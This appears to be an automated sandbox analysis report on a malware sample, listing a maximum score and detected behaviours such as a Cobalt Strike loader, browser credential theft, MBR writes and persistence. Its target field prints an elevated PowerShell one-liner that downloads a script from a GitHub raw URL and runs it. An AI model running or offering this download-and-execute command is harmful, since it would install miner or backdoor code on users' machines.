cobaltstrike

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General

Target

http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
Sample

240630-ds7kaatalf

Score

10^/10

Malware Config

Targets

- Target
  
  http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
Score

10^/10

cobaltstrike backdoor bootkit defense_evasion discovery evasion execution exploit persistence privilege_escalation spyware stealer trojan
- Cobalt Strike reflective loader
  Detects the reflective loader used by Cobalt Strike.
- Cobaltstrike
  Detected malicious payload which is part of Cobaltstrike.
  trojan backdoor cobaltstrike
- Checks for common network interception software
  Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
  evasion
- Command and Scripting Interpreter: PowerShell
  Run Powershell and hide display window.
  execution
- Contacts a large (531) amount of remote hosts
  This may indicate a network scan to discover remotely running services.
  discovery
- Creates new service(s)
  persistence execution
- Downloads MZ/PE file
- Drops file in Drivers directory
- Manipulates Digital Signatures
  Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.
- Modifies Windows Firewall
  evasion
- Possible privilege escalation attempt
  exploit
- Stops running service(s)
  evasion execution
- Checks BIOS information in registry
  BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings
  Looks up country code configured in the registry, likely geofence.
- Event Triggered Execution: Component Object Model Hijacking
  Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
  persistence privilege_escalation
- Executes dropped EXE
- Loads dropped DLL
- Modifies file permissions
  discovery
- Reads user/profile data of web browsers
  Infostealers often target stored browser data, which can include saved credentials etc.
  spyware stealer
- Adds Run key to start application
  persistence
- Checks installed software on the system
  Looks up Uninstall key entries in the registry to enumerate software on the system.
  discovery
- Checks whether UAC is enabled
  evasion trojan
- Enumerates connected drives
  Attempts to read the root path of hard drives other than the default C: drive.
- Legitimate hosting services abused for malware hosting/C2
- Modifies powershell logging option
  evasion
- Writes to the Master Boot Record (MBR)
  Bootkits write to the MBR to gain persistence at a level below the operating system.
  bootkit persistence
- AutoIT Executable
  AutoIT scripts compiled to PE executables.
- Checks system information in the registry
  System information is often read in order to detect sandboxing environments.
- Drops file in System32 directory
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